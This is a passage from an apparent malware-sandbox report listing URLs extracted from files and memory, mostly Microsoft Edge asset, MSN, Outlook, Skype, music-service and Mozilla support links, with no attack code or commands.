Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_474.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_474.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_474.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_474.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: JKEGHDGHCGHDHJKFBFBK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10Z
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log0.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13375862603640737.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_474.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_476.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_476.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: KECFIDGCBFBAKEBFBKFBFBAFII.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KECFIDGCBFBAKEBFBKFBFBAFII.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KECFIDGCBFBAKEBFBKFBFBAFII.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
